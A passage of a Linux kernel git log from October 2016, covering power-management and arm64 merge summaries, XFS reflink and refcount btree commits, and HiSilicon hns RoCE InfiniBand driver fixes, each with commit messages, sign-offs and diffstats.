Make the cpufreq-dt driver support per-policy governor tunables, clean it up and update its Kconfig description (Viresh Kumar). - Add support for more ARM platforms to the cpufreq-dt driver (Chanwoo Choi, Dave Gerlach, Geert Uytterhoeven). - Make the cpufreq CPPC driver report frequencies in KHz to avoid user space compatiblility issues (Al Stone, Hoan Tran). - Clean up a few cpufreq drivers (st, kirkwood, SCPI) a bit (Colin Ian King, Markus Elfring). - Constify some local structures in the intel_pstate driver (Julia Lawall). - Add a Documentation/cpu-freq/ entry to MAINTAINERS (Jean Delvare). - Add support for PM domain removal to the generic power domains (genpd) framework, add new DT helper functions to it and make it always enable debugfs support if available (Jon Hunter, Tomeu Vizoso). - Clean up the generic power domains (genpd) framework and make it avoid measuring power-on and power-off latencies during system-wide PM transitions (Ulf Hansson). - Add support for the RockChip DFI controller and the rk3399 DMC to the devfreq framework (Lin Huang, Axel Lin, Arnd Bergmann). - Add COMPILE_TEST to the devfreq framework (Krzysztof Kozlowski, Stephen Rothwell). - Fix a minor issue in the exynos-ppmu devfreq driver and fix up devfreq Kconfig indentation style (Wei Yongjun, Jisheng Zhang). - Fix the system suspend interface to make suspend-to-idle work if platform suspend operations have not been registered (Sudeep Holla). - Make it possible to use hibernation with PAGE_POISONING_ZERO enabled (Anisse Astier). - Increas the default timeout of the system suspend/resume watchdog and make it depend on EXPERT (Chen Yu). - Make the operating performance points (OPP) framework avoid using OPPs that aren't supported by the platform and fix a build warning in it (Dave Gerlach, Arnd Bergmann). - Fix the ARM cpuidle driver's return value (Christophe Jaillet). - Make the SmartReflex AVS (Adaptive Voltage Scaling) driver use more common logging style (Joe Perches)" * tag 'pm-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: (58 commits) PM / OPP: Don't support OPP if it provides supported-hw but platform does not cpufreq: st: add missing \n to end of dev_err message cpufreq: kirkwood: add missing \n to end of dev_err messages PM / Domains: Rename pm_genpd_sync_poweron|poweroff() PM / Domains: Don't measure latency of ->power_on|off() during system PM PM / Domains: Remove redundant system PM callbacks PM / Domains: Simplify detaching a device from its genpd PM / devfreq: rk3399_dmc: Remove explictly regulator_put call in .remove PM / devfreq: rockchip: add PM_DEVFREQ_EVENT dependency PM / OPP: avoid maybe-uninitialized warning PM / Domains: Allow holes in genpd_data.domains array cpufreq: CPPC: Avoid overflow when calculating desired_perf cpufreq: ti: Use generic platdev driver cpufreq: intel_pstate: Add io_boost trace partial revert of "PM / devfreq: Add COMPILE_TEST for build coverage" cpufreq: intel_pstate: Use IOWAIT flag in Atom algorithm cpufreq: schedutil: Add iowait boosting cpufreq / sched: SCHED_CPUFREQ_IOWAIT flag to indicate iowait condition PM / Domains: Add support for removing nested PM domains by provider PM / Domains: Add support for removing PM domains ... commit 350a27a6a65cc5dd2ba1b220e8641993414816d2 Author: Darrick J. Wong Date: Mon Oct 3 09:11:25 2016 -0700 xfs: introduce reflink utility functions These functions will be used by the other reflink functions to find the maximum length of a range of shared blocks. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_refcount.c | 102 +++++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_refcount.h | 4 ++ 2 files changed, 106 insertions(+) commit d0e853f3600cd2a3f7c4a067dc38155c77c51df9 Author: Darrick J. Wong Date: Mon Oct 3 09:11:24 2016 -0700 xfs: reserve AG space for the refcount btree root Reduce the max AG usable space size so that we always have space for the refcount btree root. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_alloc.c | 2 ++ 1 file changed, 2 insertions(+) commit a90c00f05554e3a305cc2f4836e065368709926f Author: Darrick J. Wong Date: Mon Oct 3 09:11:23 2016 -0700 xfs: add refcount btree block detection to log recovery Identify refcountbt blocks in the log correctly so that we can validate them during log recovery. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_log_recover.c | 4 ++++ 1 file changed, 4 insertions(+) commit 62aab20f08758b1b171a73a54e0c72dd12beb980 Author: Darrick J. Wong Date: Mon Oct 3 09:11:23 2016 -0700 xfs: adjust refcount when unmapping file blocks When we're unmapping blocks from a reflinked file, decrease the refcount of the affected blocks and free the extents that are no longer in use. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_bmap.c | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) commit 33ba6129208475ec3aeffe6e9dad9f9afe022405 Author: Darrick J. Wong Date: Mon Oct 3 09:11:22 2016 -0700 xfs: connect refcount adjust functions to upper layers Plumb in the upper level interface to schedule and finish deferred refcount operations via the deferred ops mechanism. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_defer.h | 1 + fs/xfs/libxfs/xfs_refcount.c | 174 +++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_refcount.h | 13 +++ fs/xfs/xfs_error.h | 4 +- fs/xfs/xfs_refcount_item.c | 86 +++++++++++++++++++- fs/xfs/xfs_super.c | 1 + fs/xfs/xfs_trace.h | 3 + fs/xfs/xfs_trans.h | 8 +- fs/xfs/xfs_trans_refcount.c | 188 ++++++++++++++++++++++++++++++++++++++++++- 9 files changed, 472 insertions(+), 6 deletions(-) commit 3172725814f9a689d6e8b3c7979b66403abf5dae Author: Darrick J. Wong Date: Mon Oct 3 09:11:21 2016 -0700 xfs: adjust refcount of an extent of blocks in refcount btree Provide functions to adjust the reference counts for an extent of physical blocks stored in the refcount btree. Signed-off-by: Darrick J. Wong Signed-off-by: Christoph Hellwig fs/xfs/libxfs/xfs_refcount.c | 814 +++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_error.h | 4 +- 2 files changed, 817 insertions(+), 1 deletion(-) commit f997ee2137175f5b2bd7ced52acf1ca51f04f420 Author: Darrick J. Wong Date: Mon Oct 3 09:11:21 2016 -0700 xfs: log refcount intent items Provide a mechanism for higher levels to create CUI/CUD items, submit them to the log, and a stub function to deal with recovered CUI items. These parts will be connected to the refcountbt in a later patch. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_refcount.h | 14 ++++ fs/xfs/xfs_log_recover.c | 175 +++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_refcount_item.c | 60 +++++++++++++++ fs/xfs/xfs_refcount_item.h | 1 + fs/xfs/xfs_trace.h | 33 ++++++++ fs/xfs/xfs_trans.h | 11 +++ fs/xfs/xfs_trans_refcount.c | 80 ++++++++++++++++++++ 8 files changed, 375 insertions(+) commit baf4bcacb715cebd412b2f4bb69989ef24496523 Author: Darrick J. Wong Date: Mon Oct 3 09:11:20 2016 -0700 xfs: create refcount update intent log items Create refcount update intent/done log items to record redo information in the log. Because we need to roll transactions between updating the bmbt mapping and updating the reverse mapping, we also have to track the status of the metadata updates that will be recorded in the post-roll transactions, just in case we crash before committing the final transaction. This mechanism enables log recovery to finish what was already started. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_log_format.h | 58 ++++++- fs/xfs/xfs_refcount_item.c | 383 +++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_refcount_item.h | 100 +++++++++++ fs/xfs/xfs_super.c | 18 ++ 5 files changed, 558 insertions(+), 2 deletions(-) commit bdf28630b72154e5766cbad5874576b6f22e7237 Author: Darrick J. Wong Date: Mon Oct 3 09:11:19 2016 -0700 xfs: add refcount btree operations Implement the generic btree operations required to manipulate refcount btree blocks. The implementation is similar to the bmapbt, though it will only allocate and free blocks from the AG. Since the refcount root and level fields are separate from the existing roots and levels array, they need a separate logging flag. Signed-off-by: Darrick J. Wong [hch: fix logging of AGF refcount btree fields] Signed-off-by: Christoph Hellwig fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_alloc.c | 3 + fs/xfs/libxfs/xfs_format.h | 10 +- fs/xfs/libxfs/xfs_refcount.c | 177 +++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_refcount.h | 30 ++++++ fs/xfs/libxfs/xfs_refcount_btree.c | 211 +++++++++++++++++++++++++++++++++++++ 6 files changed, 430 insertions(+), 2 deletions(-) commit f310bd2ecd37b17bf0042c9d1595329057970eb6 Author: Darrick J. Wong Date: Mon Oct 3 09:11:19 2016 -0700 xfs: account for the refcount btree in the alloc/free log reservation Every time we allocate or free a data extent, we might need to split the refcount btree. Reserve some blocks in the transaction to handle this possibility. Even though the deferred refcount code can roll a transaction to avoid overloading the transaction, we can still exceed the reservation. Certain pathological workloads (1k blocks, no cowextsize hint, random directio writes), cause a perfect storm wherein a refcount adjustment of a large range of blocks causes full tree splits in two separate extents in two separate refcount tree blocks; allocating new refcount tree blocks causes rmap btree splits; and all the allocation activity causes the freespace btrees to split, blowing the reservation. (Reproduced by generic/167 over NFS atop XFS) Signed-off-by: Christoph Hellwig [darrick.wong@oracle.com: add commit message] Signed-off-by: Darrick J. Wong fs/xfs/libxfs/xfs_trans_resv.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit ac4fef69386afb1c25d6b900fe1fcf77b96ea567 Author: Darrick J. Wong Date: Mon Oct 3 09:11:18 2016 -0700 xfs: add refcount btree support to growfs Modify the growfs code to initialize new refcount btree blocks. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_fsops.c | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) commit 1946b91cee4fc8ae25450673e4d4f35e9b462e9e Author: Darrick J. Wong Date: Mon Oct 3 09:11:18 2016 -0700 xfs: define the on-disk refcount btree format Start constructing the refcount btree implementation by establishing the on-disk format and everything needed to read, write, and manipulate the refcount btree blocks. Signed-off-by: Darrick J. Wong Signed-off-by: Christoph Hellwig Reviewed-by: Christoph Hellwig fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_btree.c | 3 + fs/xfs/libxfs/xfs_btree.h | 12 +++ fs/xfs/libxfs/xfs_format.h | 36 ++++++++ fs/xfs/libxfs/xfs_refcount_btree.c | 178 +++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_refcount_btree.h | 67 ++++++++++++++ fs/xfs/libxfs/xfs_sb.c | 9 ++ fs/xfs/libxfs/xfs_shared.h | 2 + fs/xfs/libxfs/xfs_trans_resv.c | 2 +- fs/xfs/libxfs/xfs_trans_resv.h | 1 + fs/xfs/xfs_mount.c | 2 + fs/xfs/xfs_mount.h | 3 + fs/xfs/xfs_ondisk.h | 3 + fs/xfs/xfs_trace.h | 11 +-- 14 files changed, 319 insertions(+), 11 deletions(-) commit af30dfa14411e9df0e69c6e46e8c6c467b88229d Author: Darrick J. Wong Date: Mon Oct 3 09:11:17 2016 -0700 xfs: refcount btree add more reserved blocks Since XFS reserves a small amount of space in each AG as the minimum free space needed for an operation, save some more space in case we touch the refcount btree. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_alloc.c | 13 +++++++++++++ fs/xfs/libxfs/xfs_format.h | 2 ++ 2 files changed, 15 insertions(+) commit 46eeb521b95247170d2db773bb4cc8fb3de1d85c Author: Darrick J. Wong Date: Mon Oct 3 09:11:16 2016 -0700 xfs: introduce refcount btree definitions Add new per-AG refcount btree definitions to the per-AG structures. Signed-off-by: Darrick J. Wong Signed-off-by: Christoph Hellwig Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_alloc.c | 5 +++++ fs/xfs/libxfs/xfs_btree.c | 5 +++-- fs/xfs/libxfs/xfs_btree.h | 4 ++++ fs/xfs/libxfs/xfs_format.h | 31 +++++++++++++++++++++++++++---- fs/xfs/libxfs/xfs_rmap_btree.c | 22 ++++++++++++++++++++-- fs/xfs/libxfs/xfs_types.h | 2 +- fs/xfs/xfs_inode.h | 5 +++++ fs/xfs/xfs_mount.h | 3 +++ fs/xfs/xfs_pnfs.c | 7 +++++++ fs/xfs/xfs_stats.c | 1 + fs/xfs/xfs_stats.h | 18 +++++++++++++++++- 11 files changed, 93 insertions(+), 10 deletions(-) commit c75c752d03741a0ebda3ea4c5020ba22c7570561 Author: Darrick J. Wong Date: Mon Oct 3 09:11:15 2016 -0700 xfs: define tracepoints for refcount btree activities Define all the tracepoints we need to inspect the refcount btree runtime operation. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_trace.h | 301 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 301 insertions(+) commit 9cdafd8a769b7c3a54e474393fb69d1fc2c42185 Author: Darrick J. Wong Date: Mon Oct 3 09:11:15 2016 -0700 xfs: return an error when an inline directory is too small If the size of an inline directory is so small that it doesn't even cover the required header size, return an error to userspace instead of ASSERTing and returning 0 like everything's ok. Signed-off-by: Darrick J. Wong Reported-by: Jan Kara Reviewed-by: Brian Foster Reviewed-by: Christoph Hellwig fs/xfs/xfs_dir2_readdir.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 71be6b4942dd64bc17728f82f787be98fd8afed7 Author: Darrick J. Wong Date: Mon Oct 3 09:11:14 2016 -0700 vfs: add a FALLOC_FL_UNSHARE mode to fallocate to unshare a range of blocks Add a new fallocate mode flag that explicitly unshares blocks on filesystems that support such features. The new flag can only be used with an allocate-mode fallocate call. Signed-off-by: Darrick J. Wong fs/open.c | 5 +++++ include/linux/falloc.h | 3 ++- include/uapi/linux/falloc.h | 18 ++++++++++++++++++ 3 files changed, 25 insertions(+), 1 deletion(-) commit 0a6eab8bd4e0120d49511acbb294797d96ef9e4a Author: Darrick J. Wong Date: Mon Oct 3 09:11:13 2016 -0700 vfs: support FS_XFLAG_COWEXTSIZE and get/set of CoW extent size hint Introduce XFLAGs for the new XFS CoW extent size hint, and actually plumb the CoW extent size hint into the fsxattr structure. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig include/uapi/linux/fs.h | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 7af8a0f8088831428051976cb06cc1e450f8bab5 Merge: c8d2bc9 db68f3e Author: Linus Torvalds Date: Mon Oct 3 08:58:35 2016 -0700 Merge tag 'arm64-upstream' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux Pull arm64 updates from Will Deacon: "It's a bit all over the place this time with no "killer feature" to speak of. Support for mismatched cache line sizes should help people seeing whacky JIT failures on some SoCs, and the big.LITTLE perf updates have been a long time coming, but a lot of the changes here are cleanups. We stray outside arch/arm64 in a few areas: the arch/arm/ arch_timer workaround is acked by Russell, the DT/OF bits are acked by Rob, the arch_timer clocksource changes acked by Marc, CPU hotplug by tglx and jump_label by Peter (all CC'd). Summary: - Support for execute-only page permissions - Support for hibernate and DEBUG_PAGEALLOC - Support for heterogeneous systems with mismatches cache line sizes - Errata workarounds (A53 843419 update and QorIQ A-008585 timer bug) - arm64 PMU perf updates, including cpumasks for heterogeneous systems - Set UTS_MACHINE for building rpm packages - Yet another head.S tidy-up - Some cleanups and refactoring, particularly in the NUMA code - Lots of random, non-critical fixes across the board" * tag 'arm64-upstream' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux: (100 commits) arm64: tlbflush.h: add __tlbi() macro arm64: Kconfig: remove SMP dependence for NUMA arm64: Kconfig: select OF/ACPI_NUMA under NUMA config arm64: fix dump_backtrace/unwind_frame with NULL tsk arm/arm64: arch_timer: Use archdata to indicate vdso suitability arm64: arch_timer: Work around QorIQ Erratum A-008585 arm64: arch_timer: Add device tree binding for A-008585 erratum arm64: Correctly bounds check virt_addr_valid arm64: migrate exception table users off module.h and onto extable.h arm64: pmu: Hoist pmu platform device name arm64: pmu: Probe default hw/cache counters arm64: pmu: add fallback probe table MAINTAINERS: Update ARM PMU PROFILING AND DEBUGGING entry arm64: Improve kprobes test for atomic sequence arm64/kvm: use alternative auto-nop arm64: use alternative auto-nop arm64: alternative: add auto-nop infrastructure arm64: lse: convert lse alternatives NOP padding to use __nops arm64: barriers: introduce nops and __nops macros for NOP sequences arm64: sysreg: replace open-coded mrs_s/msr_s with {read,write}_sysreg_s ... commit 1bdab400af5954932714e68ab3df0187a92916cb Author: Salil Date: Tue Sep 20 17:07:12 2016 +0100 IB/hns: Fix for removal of redundant code This patch removes the redundant code lines present in the functions get_send_wqe() and get_recv_wqe(). This also fixes the error in calculating the SQ WQE. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 3 ++- drivers/infiniband/hw/hns/hns_roce_qp.c | 18 ------------------ 2 files changed, 2 insertions(+), 19 deletions(-) commit deb17f6f826708e46af538048b2af508215c3dc5 Author: Lijun Ou Date: Tue Sep 20 17:07:11 2016 +0100 IB/hns: Delete the redundant lines in hns_roce_v1_m_qp() It doesn't need to assign for the filed of qp state in qpc separately when qp happen to migrate state which supported in RoCE engine v1. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) commit 3e413872b1832e1cf6de037ec01b2c4c992f0136 Author: Lijun Ou Date: Tue Sep 20 17:07:10 2016 +0100 IB/hns: Fix the bug when platform_get_resource() exec fail This patch mainly fixes the bug with platform_get_resource(). It should return NULL when platform_get_resource() exec fail. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_pd.c | 4 ++++ 1 file changed, 4 insertions(+) commit 1fad5fab782c18a90865f61bff1bde3a0dba1678 Author: Lijun Ou Date: Tue Sep 20 17:07:09 2016 +0100 IB/hns: Update the rq head when modify qp state The rq head in qpc was zero will miss the rq wqes which have be sent, so here we should take the real value. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 24f0c9c0ff0955c5849dfb40403a21c8c11b9d2a Author: Lijun Ou Date: Tue Sep 20 17:07:08 2016 +0100 IB/hns: Cq has not been freed Cq has not been freed when fail to ib_copy_to_udata, so need to free it. Signed-off-by: Lijun Ou Signed-off-by: Peter Chen Reviewed-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_cq.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit cb814642e7e3e67f6a7c24b14531e95ccdb7c3cc Author: Lijun Ou Date: Tue Sep 20 17:07:07 2016 +0100 IB/hns: Validate mtu when modified qp The mtu should be validated when modify qp,so we check it. Signed-off-by: Lijun Ou Signed-off-by: Peter Chen Reviewed-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_qp.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit 7c7a4ea145a5dc914402678d0299a81c3f5b38b6 Author: Lijun Ou Date: Tue Sep 20 17:07:06 2016 +0100 IB/hns: Some items of qpc need to take user param Some items of qpc need to take user param when modified qp state. Signed-off-by: Lijun Ou Signed-off-by: Dongdong Huang(Donald) Reviewed-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit c6c3bfea82be60c3d60144b980ea25f1252a6eb5 Author: Lijun Ou Date: Tue Sep 20 17:07:05 2016 +0100 IB/hns: The Ack timeout need a lower limit value The Ack timeout of qpc need a lower limit value,otherwise the read performance will be very lower. Signed-off-by: Lijun Ou Signed-off-by: Dongdong Huang(Donald) Reviewed-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) commit 07182fa77b3a64962aca12e8c0006646316bd26d Author: Lijun Ou Date: Tue Sep 20 17:07:04 2016 +0100 IB/hns: Return bad wr while post send failed While post failed, hns roce should return the wr failed to user. We omitted this while qp type is wrong and fixed it. Signed-off-by: Lijun Ou Signed-off-by: Dongdong Huang(Donald) Reviewed-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 1cd11064da4b0bca992ca0f9594adbf53df25879 Author: Lijun Ou Date: Tue Sep 20 17:07:03 2016 +0100 IB/hns: Fix bug of memory leakage for registering user mr While the page size attribute of umem is illegal, we should release umem that get by ib_umem_get interface. Also, we should return a non-zero value while pbl number is wrong. Signed-off-by: Lijun Ou Signed-off-by: Dongdong Huang(Donald) Reviewed-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_mr.c | 3 +++ 1 file changed, 3 insertions(+) commit 49fdf6bb0a172a8fe631d89a421857336efc4382 Author: Lijun Ou Date: Tue Sep 20 17:07:02 2016 +0100 IB/hns: Modify the init of iboe lock This lock will be used in query port interface, and will be called while IB device was registered to OFED framework/IB Core. So, the lock of iboe must be initiated before IB device was registered. Signed-off-by: Lijun Ou Signed-off-by: Dongdong Huang(Donald) Reviewed-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_main.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit c4a193d3a84766ce01d2cfdf3afaf0252db1ddf4 Author: Wei Hu (Xavier) Date: Tue Sep 20 17:07:01 2016 +0100 IB/hns: Optimize code of aeq and ceq interrupt handle and fix the bug of qpn This patch optimized the codes of aeq and ceq interrupt handle and fixed the bug in the calculation of qpn. For the special qp(GSI or SMI), calculated the qp number according to physical port and the qpn reported in the event of async event queue. Signed-off-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_eq.c | 146 ++++++++++++++++---------------- drivers/infiniband/hw/hns/hns_roce_eq.h | 4 + 2 files changed, 75 insertions(+), 75 deletions(-) commit 1ca5b253adbf7da514475f24151fb700062795c0 Author: Wei Hu (Xavier) Date: Tue Sep 20 17:07:00 2016 +0100 IB/hns: Delete the sqp_start from the structure hns_roce_caps This patch deleted the sqp_start from the structure hns_roce_caps, and modified the calculation of the qp number. Signed-off-by: Wei Hu (Xavier) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_device.h | 1 - drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 1 - drivers/infiniband/hw/hns/hns_roce_qp.c | 10 ++++------ 3 files changed, 4 insertions(+), 8 deletions(-) commit 97f0e39fa51406e7d73b37e635c04c85829ce9ab Author: Wei Hu (Xavier) Date: Tue Sep 20 17:06:59 2016 +0100 IB/hns: Fix bug of clear hem In hip06, there's no interface to release hem memory. So, hardware can't identify whether hem memory released or not. If all context in a hem memory released, the related hem memory will be released by driver and reused by others. But, hardware don't know that this memory can't be used already. In order to fix this bug, hns roce driver reserved 128K memory for each type of hem(QPC/CQC/MTPT). While unmap hem memory, hns roce driver will write base address of reserved memory according to hem type. Signed-off-by: Wei Hu (Xavier) Signed-off-by: Dongdong Huang(Donald) Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_device.h | 2 + drivers/infiniband/hw/hns/hns_roce_hem.c | 76 +-------------- drivers/infiniband/hw/hns/hns_roce_hem.h | 4 + drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 140 ++++++++++++++++++++++++++++ drivers/infiniband/hw/hns/hns_roce_hw_v1.h | 9 ++ 5 files changed, 157 insertions(+), 74 deletions(-) commit 76445703e54326f9039d6302b78ad6e8dab17777 Author: Lijun Ou Date: Tue Sep 20 17:06:58 2016 +0100 IB/hns: Remove unused parameter named qp_type This patch removes the qp_type parameter in hns_roce_set_kernel_sq_size(). Signed-off-by: Lijun Ou Signed-off-by: Ping Zhang Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_qp.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit a598c6f4c5a838f3141a739aa0f6799c5bf0afa9 Author: Lijun Ou Date: Tue Sep 20 17:06:57 2016 +0100 IB/hns: Simplify function of pd alloc and qp alloc Hns_roce_pd_alloc and hns_roce_reserve_range_qp use unnecessary transformation of parameters. This patch simplify these two functions. Signed-off-by: Lijun Ou Signed-off-by: Dongdong Huang(Donald) Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_pd.c | 14 +------------- drivers/infiniband/hw/hns/hns_roce_qp.c | 10 +--------- 2 files changed, 2 insertions(+), 22 deletions(-) commit ed3e6d01138eb26634abb519bc66e0b0dc473d0e Author: Lijun Ou Date: Tue Sep 20 17:06:56 2016 +0100 IB/hns: Fix bug of using uninit refcount and free In current version, it uses uninitialized parameters named refcount and free in hns_roce_cq_event. This patch initializes these parameter in cq alloc and add correspond process in cq free. Signed-off-by: Lijun Ou Signed-off-by: Dongdong Huang(Donald) Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_cq.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 622b85f9f7fbe1255649894d03e9e077b1a97e6c Author: Lijun Ou Date: Tue Sep 20 17:06:55 2016 +0100 IB/hns: Remove parameters of resize cq In old version of RoCE, it doesn't support to resize cq. So, we remove parameters related to resize cq. Signed-off-by: Lijun Ou Signed-off-by: Dongdong Huang(Donald) Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_cq.c | 3 --- drivers/infiniband/hw/hns/hns_roce_device.h | 9 --------- 2 files changed, 12 deletions(-) commit a4be892e834e8a5a38279c2ebca747b5c7a68f75 Author: Lijun Ou Date: Tue Sep 20 17:06:54 2016 +0100 IB/hns: Remove unused parameters in some functions The parameter named collapsed unused in hns_roce_cq_alloc. Also, parameter named doorbell_lock unsed in hns_roce_v1_cq_set_ci. This patch optimize these parameters. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_cq.c | 7 +++---- drivers/infiniband/hw/hns/hns_roce_device.h | 1 - drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 13 ++++--------- drivers/infiniband/hw/hns/hns_roce_main.c | 1 - 4 files changed, 7 insertions(+), 15 deletions(-) commit 1cfbfdd84274fcfb922d814acf3c709e9ae5fa00 Author: Lijun Ou Date: Thu Sep 15 23:48:14 2016 +0100 IB/hns: Add node_guid definition to the bindings document This patch adds node_guid definition in bindings document. The value of node_guid will be used during RDMA connection. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford Documentation/devicetree/bindings/infiniband/hisilicon-hns-roce.txt | 2 ++ 1 file changed, 2 insertions(+) commit ac11125bfd63a87d29838d0a1cd66b92c1997c03 Author: Lijun Ou Date: Thu Sep 15 23:48:13 2016 +0100 IB/hns: Fix two bugs for rdma cm connecting This patch mainly modify the value of HNS_ROCE_SL_SHIFT and delete the lines for assigning for the field of local_enable_e2e_credit in QP1C. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_device.h | 2 +- drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 3 --- 2 files changed, 1 insertion(+), 4 deletions(-) commit 509bf0c2da99f0fc22c841de1fa3d813e4932a9f Author: Lijun Ou Date: Thu Sep 15 23:48:12 2016 +0100 IB/hns: Fix the bug of rdma cm connecting on user mode Fix bug of modify qp from init to init on user mode. Otherwise, it will oops when rmda cm established. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_device.h | 1 + drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 43 ++++++++++------------------- drivers/infiniband/hw/hns/hns_roce_qp.c | 1 - 3 files changed, 15 insertions(+), 30 deletions(-) commit b280db52cc71a0cb135c2ab9adc0592af6440812 Author: Lijun Ou Date: Thu Sep 15 23:48:11 2016 +0100 IB/hns: Change the logic for allocating uar registers This patch mainly modifies the logic for allocating uar registers. In HiP06 SoC, HW has 8 group of uar registers for kernel and user space application. The uar index is assigned as follows: 0 ------ for kernel 1~7 ------ for user space application Signed-off-by: Lijun Ou Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_pd.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 7716809efe5727d7fbf9cbf5689ef4162d999de5 Author: Lijun Ou Date: Thu Sep 15 23:48:10 2016 +0100 IB/hns: Add phy_port for computing GSI/QPN This patch mainly adds phy_port to HNS RoCE QP. This shall be used in calculating the GSI QPN for the port. Initally when RDMA is being established, all IB ports share a QPN which later needs to be re-assigned to a particular GSI/QPN and which is per-port. This also fixes a bug in base driver where iboe port was being used instead of phy_port at some places. This values might not be same always. Signed-off-by: Lijun Ou 